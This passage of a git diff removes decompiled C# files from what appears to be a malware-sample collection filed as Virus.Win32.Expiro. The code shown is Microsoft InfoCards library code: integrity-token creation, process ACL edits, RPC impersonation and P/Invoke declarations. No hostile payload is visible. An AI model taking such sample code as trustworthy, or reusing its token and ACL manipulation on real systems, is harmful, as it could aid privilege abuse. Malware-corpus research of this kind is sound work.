- } - finally - { - try - { - if (\u003CModule\u003E.DuplicateTokenEx(identity.Token.ToPointer(), 142U, (_SECURITY_ATTRIBUTES*) 0, (_SECURITY_IMPERSONATION_LEVEL) 2, (_TOKEN_TYPE) 2, &voidPtr) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 67, (void*) 0, (void*) 0, &num1) == 0) - { - uint lastError = \u003CModule\u003E.GetLastError(); - if (122U != lastError) - throw new Win32Exception((int) lastError); - } - uint num2 = num1 + 8U; - tokenMandatoryLabelPtr1 = (_TOKEN_MANDATORY_LABEL*) \u003CModule\u003E.LocalAlloc(64U, num2); - if ((IntPtr) tokenMandatoryLabelPtr1 == IntPtr.Zero) - throw new OutOfMemoryException(); - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr2 = (_TOKEN_MANDATORY_LABEL*) ((IntPtr) tokenMandatoryLabelPtr1 + 8); - *(int*) tokenMandatoryLabelPtr1 = (int) tokenMandatoryLabelPtr2; - *(int*) ((IntPtr) tokenMandatoryLabelPtr1 + 4) = 96; - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 67, (void*) 0, (void*) tokenMandatoryLabelPtr2, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.SetTokenInformation(voidPtr, (_TOKEN_INFORMATION_CLASS) 25, (void*) tokenMandatoryLabelPtr1, num2) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - integrityIdentity = new WindowsIdentity(new IntPtr(voidPtr)); - } - finally - { - if ((IntPtr) voidPtr != IntPtr.Zero) - \u003CModule\u003E.CloseHandle(voidPtr); - if ((IntPtr) tokenMandatoryLabelPtr1 != IntPtr.Zero) - \u003CModule\u003E.LocalFree((void*) tokenMandatoryLabelPtr1); - } - } - return integrityIdentity; - } - - public static unsafe void* CreateHighIntegrityToken(void* hCurrentToken) - { - _OSVERSIONINFOW osversioninfow; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref osversioninfow = 276; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_OSVERSIONINFOW&) ((IntPtr) &osversioninfow + 4), 0, 272); - if (\u003CModule\u003E.GetVersionExW(&osversioninfow) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - if (((uint) ^(int&) ((IntPtr) &osversioninfow + 4) >= 6U ? 1 : 0) == 0) - throw new InvalidOperationException(); - void* highIntegrityToken = (void*) 0; - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr1 = (_TOKEN_MANDATORY_LABEL*) 0; - uint num1 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - try - { - if (\u003CModule\u003E.DuplicateTokenEx(hCurrentToken, 139U, (_SECURITY_ATTRIBUTES*) 0, (_SECURITY_IMPERSONATION_LEVEL) 2, (_TOKEN_TYPE) 1, &highIntegrityToken) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 68, (void*) 0, (void*) 0, &num1) == 0) - { - uint lastError = \u003CModule\u003E.GetLastError(); - if (122U != lastError) - throw new Win32Exception((int) lastError); - } - uint num2 = num1 + 8U; - tokenMandatoryLabelPtr1 = (_TOKEN_MANDATORY_LABEL*) \u003CModule\u003E.LocalAlloc(64U, num2); - if ((IntPtr) tokenMandatoryLabelPtr1 == IntPtr.Zero) - throw new OutOfMemoryException(); - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr2 = (_TOKEN_MANDATORY_LABEL*) ((IntPtr) tokenMandatoryLabelPtr1 + 8); - *(int*) tokenMandatoryLabelPtr1 = (int) tokenMandatoryLabelPtr2; - *(int*) ((IntPtr) tokenMandatoryLabelPtr1 + 4) = 96; - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 68, (void*) 0, (void*) tokenMandatoryLabelPtr2, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.SetTokenInformation(highIntegrityToken, (_TOKEN_INFORMATION_CLASS) 25, (void*) tokenMandatoryLabelPtr1, num2) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - } - finally - { - if ((IntPtr) tokenMandatoryLabelPtr1 != IntPtr.Zero) - \u003CModule\u003E.LocalFree((void*) tokenMandatoryLabelPtr1); - } - } - return highIntegrityToken; - } - - public static unsafe void AdjustServiceProcessSecurity() - { - void* voidPtr = (void*) 0; - _ACL* aclPtr1 = (_ACL*) 0; - _ACL* aclPtr2 = (_ACL*) 0; - uint num = 68; - _EXPLICIT_ACCESS_W explicitAccessW; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref explicitAccessW = 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_EXPLICIT_ACCESS_W&) ((IntPtr) &explicitAccessW + 4), 0, 28); - try - { - uint securityInfo = \u003CModule\u003E.GetSecurityInfo(\u003CModule\u003E.GetCurrentProcess(), (_SE_OBJECT_TYPE) 6, 4U, (void**) 0, (void**) 0, &aclPtr1, (_ACL**) 0, &voidPtr); - if (0U != securityInfo) - throw new Win32Exception((int) securityInfo); - \u0024ArrayType\u0024\u0024\u0024BY0BB\u0040K arrayTypeBy0BbK; - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 11, (void*) 0, (void*) &arrayTypeBy0BbK, &num) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref explicitAccessW = 1048576; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 4) = 1; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 20) = 0; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 24) = 5; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 28) = (int) &arrayTypeBy0BbK; - uint error1 = \u003CModule\u003E.SetEntriesInAclW(1U, &explicitAccessW, aclPtr1, &aclPtr2); - if (0U != error1) - throw new Win32Exception((int) error1); - uint error2 = \u003CModule\u003E.SetSecurityInfo(\u003CModule\u003E.GetCurrentProcess(), (_SE_OBJECT_TYPE) 6, 4U, (void*) 0, (void*) 0, aclPtr2, (_ACL*) 0); - if (0U != error2) - throw new Win32Exception((int) error2); - } - finally - { - if (IntPtr.Zero != (IntPtr) aclPtr2) - \u003CModule\u003E.LocalFree((void*) aclPtr2); - if (IntPtr.Zero != (IntPtr) voidPtr) - \u003CModule\u003E.LocalFree(voidPtr); - } - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool IsCardSpaceTcserverInstance(int pid, string trustedUserSid) - { - bool flag = false; - void* voidPtr1 = (void*) 0; - void* voidPtr2 = (void*) 0; - ushort* numPtr = (ushort*) 0; - IntPtr hglobal = IntPtr.Zero; - try - { - voidPtr1 = \u003CModule\u003E.OpenProcess(1024U, 0, (uint) pid); - if (IntPtr.Zero != (IntPtr) voidPtr1) - { - if (\u003CModule\u003E.OpenProcessToken(voidPtr1, 8U, &voidPtr2) != 0) - { - \u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E arrayTypeBy0EeE; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(sbyte&) ref arrayTypeBy0EeE = (sbyte) 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((\u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E&) ((IntPtr) &arrayTypeBy0EeE + 1), 0, 67); - uint num = 0; - if (\u003CModule\u003E.GetTokenInformation(voidPtr2, (_TOKEN_INFORMATION_CLASS) 4, (void*) &arrayTypeBy0EeE, 68U, &num) != 0) - { - _TOKEN_OWNER* tokenOwnerPtr = (_TOKEN_OWNER*) &arrayTypeBy0EeE; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - if (\u003CModule\u003E.ConvertSidToStringSidW((void*) ^(int&) ref arrayTypeBy0EeE, &numPtr) != 0) - { - hglobal = Marshal.StringToHGlobalUni(trustedUserSid); - flag = 0 == \u003CModule\u003E._wcsnicmp((ushort*) hglobal.ToPointer(), numPtr, 68U); - } - } - } - } - } - finally - { - if (IntPtr.Zero != (IntPtr) numPtr) - \u003CModule\u003E.LocalFree((void*) numPtr); - if (IntPtr.Zero != (IntPtr) voidPtr2) - \u003CModule\u003E.CloseHandle(voidPtr2); - if (IntPtr.Zero != (IntPtr) voidPtr1) - \u003CModule\u003E.CloseHandle(voidPtr1); - if (IntPtr.Zero != hglobal) - Marshal.FreeHGlobal(hglobal); - } - return flag; - } - - public static unsafe void AddSystemAccessToProcess(IntPtr RpcHandle, uint callerPid) - { - bool flag = false; - void* voidPtr1 = (void*) 0; - _ACL* aclPtr1 = (_ACL*) 0; - _ACL* aclPtr2 = (_ACL*) 0; - void* voidPtr2 = (void*) 0; - _EXPLICIT_ACCESS_W explicitAccessW; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref explicitAccessW = 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_EXPLICIT_ACCESS_W&) ((IntPtr) &explicitAccessW + 4), 0, 28); - \u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E arrayTypeBy0EeE; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(sbyte&) ref arrayTypeBy0EeE = (sbyte) 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((\u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E&) ((IntPtr) &arrayTypeBy0EeE + 1), 0, 67); - uint num = 68; - try - { - uint error1 = (uint) \u003CModule\u003E.RpcImpersonateClient(RpcHandle.ToPointer()); - if (0U != error1) - throw new Win32Exception((int) error1); - flag = true; - voidPtr1 = \u003CModule\u003E.OpenProcess(393216U, 0, callerPid); - if (IntPtr.Zero == (IntPtr) voidPtr1) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - uint securityInfo = \u003CModule\u003E.GetSecurityInfo(voidPtr1, (_SE_OBJECT_TYPE) 6, 4U, (void**) 0, (void**) 0, &aclPtr1, (_ACL**) 0, &voidPtr2); - if (0U != securityInfo) - throw new Win32Exception((int) securityInfo); - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 22, (void*) 0, (void*) &arrayTypeBy0EeE, &num) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref explicitAccessW = 2035711; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 4) = 1; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 20) = 0; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 24) = 1; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 28) = (int) &arrayTypeBy0EeE; - uint error2 = \u003CModule\u003E.SetEntriesInAclW(1U, &explicitAccessW, aclPtr1, &aclPtr2); - if (0U != error2) - throw new Win32Exception((int) error2); - uint error3 = \u003CModule\u003E.SetSecurityInfo(voidPtr1, (_SE_OBJECT_TYPE) 6, 4U, (void*) 0, (void*) 0, aclPtr2, (_ACL*) 0); - if (0U != error3) - throw new Win32Exception((int) error3); - } - finally - { - if (IntPtr.Zero != (IntPtr) aclPtr2) - \u003CModule\u003E.LocalFree((void*) aclPtr2); - if (IntPtr.Zero != (IntPtr) voidPtr2) - \u003CModule\u003E.LocalFree(voidPtr2); - if (IntPtr.Zero != (IntPtr) voidPtr1) - \u003CModule\u003E.CloseHandle(voidPtr1); - if (flag) - \u003CModule\u003E.RpcRevertToSelf(); - } - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool PathSupportsPersistedSecurity(string path) - { - bool flag = false; - string pathRoot = Path.GetPathRoot(path); - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - GCHandle gcHandle = GCHandle.Alloc((object) pathRoot, GCHandleType.Pinned); - \u0024ArrayType\u0024\u0024\u0024BY0BAF\u0040G arrayTypeBy0BafG1; - // ISSUE: initblk instruction - __memset(ref arrayTypeBy0BafG1, 0, 522); - \u0024ArrayType\u0024\u0024\u0024BY0BAF\u0040G arrayTypeBy0BafG2; - // ISSUE: initblk instruction - __memset(ref arrayTypeBy0BafG2, 0, 522); - uint num1 = 0; - uint num2 = 0; - uint num3 = 0; - if (\u003CModule\u003E.GetVolumeInformationW((ushort*) gcHandle.AddrOfPinnedObject().ToPointer(), (ushort*) &arrayTypeBy0BafG1, 261U, &num1, &num2, &num3, (ushort*) &arrayTypeBy0BafG2, 261U) != 0) - { - if (((int) num3 & 8) != 0) - flag = true; - gcHandle.Free(); - } - else - { - gcHandle.Free(); - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - } - } - return flag; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/NativeMethods.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/NativeMethods.cs deleted file mode 100644 index b5c7c3a9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/NativeMethods.cs +++ /dev/null @@ -1,169 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.NativeMethods -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.Win32.SafeHandles; -using System; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal static class NativeMethods - { - public const int E_BUSY = -2147024825; - public const int ERROR_ACCESS_DENIED = 5; - public const int ERROR_NOT_ENOUGH_MEMORY = 8; - public const int ERROR_OUTOFMEMORY = 14; - public const int E_NOTIMPL = -2147467263; - public const int E_ACCESSDENIED = -2147024891; - public const int COR_E_APPLICATION = -2146232832; - public const int COR_E_ARGUMENT = -2147024809; - public const int ERROR_INVALID_DATA = 13; - public const int CRYPTPROTECT_LOCAL_MACHINE = 4; - public const int CRYPTPROTECT_UI_FORBIDDEN = 1; - public const int CRYPTPROTECT_NO_RECOVERY = 32; - public const int CRYPTPROTECT_VERIFY_PROTECTION = 64; - public const int CRYPTPROTECT_AUDIT = 16; - public const int CRYPTPROTECTMEMORY_SAME_PROCESS = 0; - public const int CRYPTPROTECTMEMORY_CROSS_PROCESS = 1; - public const int CRYPTPROTECTMEMORY_SAME_LOGON = 2; - public const int EVENT_MODIFY_STATE = 2; - public const int PROCESS_DUP_HANDLE = 64; - public const int TOKEN_QUERY = 8; - public const int TOKEN_IMPERSONATE = 4; - public const int TOKEN_DUPLICATE = 2; - public const int TOKEN_ASSIGN_PRIMARY = 1; - public const int TOKEN_ALL_ACCESS = 511; - public const uint WAIT_TIMEOUT = 258; - public const uint WAIT_ABANDONED = 128; - public const uint WAIT_FAILED = 4294967295; - public const int CSIDL_LOCAL_APPDATA = 28; - public const int SHGFP_TYPE_CURRENT = 0; - public const int MAX_PATH = 260; - public const int MUTEX_MODIFY_STATE = 2; - public const int SYNCHRONIZE = 1048576; - public const int FILE_PERSISTENT_ACLS = 8; - public const int ERROR_CANCELLED = 1223; - public const int SM_TABLETPC = 86; - - [DllImport("Crypt32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CryptProtectData( - [In] IntPtr pDataIn, - [MarshalAs(UnmanagedType.LPWStr), In] string szDataDescr, - [In] IntPtr pOptionalEntropy, - [In] IntPtr pvReserved, - [In] IntPtr pPromptStruct, - [MarshalAs(UnmanagedType.I4), In] int dwFlags, - [In] IntPtr pDataOut); - - [DllImport("Crypt32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CryptUnprotectData( - [In] IntPtr pDataIn, - [MarshalAs(UnmanagedType.LPWStr), Out] StringBuilder ppszDataDescr, - [In] IntPtr pOptionalEntropy, - [In] IntPtr pvReserved, - [In] IntPtr pPromptStruct, - [MarshalAs(UnmanagedType.I4), In] int dwFlags, - [In] IntPtr pDataOut); - - [DllImport("Rpcrt4.dll", CharSet = CharSet.Unicode)] - public static extern uint RpcImpersonateClient([In] IntPtr rpcBindingHandle); - - [DllImport("Rpcrt4.dll", CharSet = CharSet.Unicode)] - public static extern uint RpcRevertToSelfEx([In] IntPtr rpcBindingHandle); - - [DllImport("Rpcrt4.dll", CharSet = CharSet.Unicode)] - public static extern uint I_RpcBindingInqLocalClientPID([In] IntPtr rpcBindingHandle, out uint pid); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool RevertToSelf(); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool ImpersonateLoggedOnUser([In] IntPtr hToken); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool ProcessIdToSessionId([In] int pid, out int tSSession); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern SafeNativeHandle OpenProcess( - [In] int desiredAccess, - [In] bool inheritHandle, - [In] int processId); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool DuplicateHandle( - [In] SafeNativeHandle sourceProcessHandle, - [In] SafeWaitHandle sourceHandle, - [In] SafeNativeHandle targetProcessHandle, - out SafeWaitHandle targetHandle, - [In] int desiredAccess, - [In] bool inheritHandle, - [In] int options); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern IntPtr GetCurrentProcess(); - - [DllImport("Kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern IntPtr LocalFree(IntPtr hMem); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CryptDecrypt( - [In] SafeCryptoKeyHandle hKey, - [In] IntPtr hHash, - [In] uint Final, - [In] uint Flags, - [In] IntPtr data, - [In, Out] ref uint length); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CryptEncrypt( - [In] SafeCryptoKeyHandle hKey, - [In] IntPtr hHash, - [In] uint Final, - [In] uint Flags, - [In] IntPtr data, - [In, Out] ref uint length, - [In] uint bufLength); - - [DllImport("Kernel32.dll", EntryPoint = "RtlZeroMemory", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern void ZeroMemory([In] IntPtr dest, [In] int size); - - [DllImport("Crypt32.dll", EntryPoint = "CertGetNameStringW", CharSet = CharSet.Unicode)] - public static extern int CertGetNameString( - IntPtr pCertContext, - int dwType, - int dwFlags, - [MarshalAs(UnmanagedType.LPStr), In] string pvTypePara, - [Out] StringBuilder pszNameString, - int cchNameString); - - [DllImport("Kernel32.dll", CharSet = CharSet.Unicode)] - public static extern int WTSGetActiveConsoleSessionId(); - - [DllImport("user32.dll", CharSet = CharSet.Unicode)] - public static extern int GetSystemMetrics(int nIndex); - - public enum SecurityImpersonationLevel - { - SecurityAnonymous, - SecurityIdentification, - SecurityImpersonation, - SecurityDelegation, - } - - public sealed class SafeHandleOnlyMethods - { - private SafeHandleOnlyMethods() - { - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("Kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CloseHandle([In] IntPtr handle); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/OptionalRstParameters.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/OptionalRstParameters.cs deleted file mode 100644 index 6eea575b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/OptionalRstParameters.cs +++ /dev/null @@ -1,102 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.OptionalRstParameters -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.ServiceModel.Security; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class OptionalRstParameters - { - private string m_tokenType = string.Empty; - private string m_signatureAlgorithm; - private string m_encryptionAlgorithm; - private string m_canonicalizationAlgorithm; - private string m_signWith; - private string m_encryptWith; - private string m_keyWrapAlgorithm; - - public static OptionalRstParameters CreateMergedParameters( - OptionalRstParameters primary, - OptionalRstParameters secondary) - { - return new OptionalRstParameters() - { - m_canonicalizationAlgorithm = !string.IsNullOrEmpty(primary.m_canonicalizationAlgorithm) ? primary.m_canonicalizationAlgorithm : secondary.m_canonicalizationAlgorithm, - m_encryptionAlgorithm = !string.IsNullOrEmpty(primary.m_encryptionAlgorithm) ? primary.m_encryptionAlgorithm : secondary.m_encryptionAlgorithm, - m_encryptWith = !string.IsNullOrEmpty(primary.m_encryptWith) ? primary.m_encryptWith : secondary.m_encryptWith, - m_keyWrapAlgorithm = !string.IsNullOrEmpty(primary.m_keyWrapAlgorithm) || !string.IsNullOrEmpty(secondary.m_keyWrapAlgorithm) ? (!string.IsNullOrEmpty(primary.m_keyWrapAlgorithm) ? primary.m_keyWrapAlgorithm : secondary.m_keyWrapAlgorithm) : SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm, - m_signatureAlgorithm = !string.IsNullOrEmpty(primary.m_signatureAlgorithm) ? primary.m_signatureAlgorithm : secondary.m_signatureAlgorithm, - m_signWith = !string.IsNullOrEmpty(primary.m_signWith) ? primary.m_signWith : secondary.m_signWith, - m_tokenType = !string.IsNullOrEmpty(primary.m_tokenType) ? primary.m_tokenType : secondary.m_tokenType - }; - } - - public string SignatureAlgorithm - { - get => this.m_signatureAlgorithm; - set => this.m_signatureAlgorithm = value; - } - - public string EncryptionAlgorithm - { - get => this.m_encryptionAlgorithm; - set => this.m_encryptionAlgorithm = value; - } - - public string SignWith - { - get => this.m_signWith; - set => this.m_signWith = value; - } - - public string EncryptWith - { - get => this.m_encryptWith; - set => this.m_encryptWith = value; - } - - public string CanonicalizationAlgorithm - { - get => this.m_canonicalizationAlgorithm; - set => this.m_canonicalizationAlgorithm = value; - } - - public string KeyWrapAlgorithm - { - get => this.m_keyWrapAlgorithm; - set => this.m_keyWrapAlgorithm = value; - } - - public string TokenType - { - get => this.m_tokenType; - set => this.m_tokenType = value; - } - - public void WritePassOnElements(XmlDictionaryWriter writer, ProtocolProfile profile) - { - string defaultPrefix = profile.WSTrust.DefaultPrefix; - if (!string.IsNullOrEmpty(this.TokenType)) - { - writer.WriteStartElement(defaultPrefix, profile.WSTrust.TokenType, profile.WSTrust.Namespace); - writer.WriteString(this.TokenType); - writer.WriteEndElement(); - } - if (!string.IsNullOrEmpty(this.SignatureAlgorithm)) - { - writer.WriteStartElement(defaultPrefix, profile.WSTrust.SignatureAlgorithm, profile.WSTrust.Namespace); - writer.WriteString(this.SignatureAlgorithm); - writer.WriteEndElement(); - } - if (string.IsNullOrEmpty(this.CanonicalizationAlgorithm)) - return; - writer.WriteStartElement(defaultPrefix, profile.WSTrust.CanonicalizationAlgorithm, profile.WSTrust.Namespace); - writer.WriteString(this.CanonicalizationAlgorithm); - writer.WriteEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ParsedPolicy.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ParsedPolicy.cs deleted file mode 100644 index 876f4df6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ParsedPolicy.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ParsedPolicy -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; - -namespace Microsoft.InfoCards -{ - internal class ParsedPolicy - { - private string m_policyXmlOriginal; - private string m_policyXmlPrimary; - private string m_policyXmlSecondary; - private PolicyType m_policyType; - - public string PolicyXmlOriginal => this.m_policyXmlOriginal; - - public string PolicyXmlPrimary => this.m_policyXmlPrimary; - - public string PolicyXmlSecondary => this.m_policyXmlSecondary; - - public PolicyType PolicyType => this.m_policyType; - - public ParsedPolicy( - string policyXmlOriginal, - string policyXmlPrimary, - string policyXmlSecondary) - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(policyXmlOriginal), "Original Policy Xml cannot be null or empty"); - this.m_policyXmlOriginal = policyXmlOriginal; - this.m_policyXmlPrimary = policyXmlPrimary; - this.m_policyXmlSecondary = policyXmlSecondary; - if (!string.IsNullOrEmpty(policyXmlPrimary) && string.IsNullOrEmpty(policyXmlSecondary)) - this.m_policyType = PolicyType.PrimaryOnly; - else if (!string.IsNullOrEmpty(policyXmlPrimary) && !string.IsNullOrEmpty(policyXmlSecondary)) - this.m_policyType = PolicyType.Composite; - else if (string.IsNullOrEmpty(policyXmlPrimary) && !string.IsNullOrEmpty(policyXmlSecondary)) - this.m_policyType = PolicyType.SecondaryOnly; - else - InfoCardTrace.Assert(false, "Both policies cannot be empty"); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PasswordValidationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PasswordValidationException.cs deleted file mode 100644 index 7047512d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PasswordValidationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PasswordValidationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class PasswordValidationException : InfoCardBaseException - { - private const int HRESULT = -1073413878; - - public PasswordValidationException() - : base(-1073413878) - { - } - - public PasswordValidationException(string message) - : base(-1073413878, message) - { - } - - public PasswordValidationException(string message, Exception inner) - : base(-1073413878, message, inner) - { - } - - protected PasswordValidationException(SerializationInfo si, StreamingContext sc) - : base(-1073413878, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PinProtectionHelper.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PinProtectionHelper.cs deleted file mode 100644 index e17c416a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PinProtectionHelper.cs +++ /dev/null @@ -1,133 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PinProtectionHelper -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 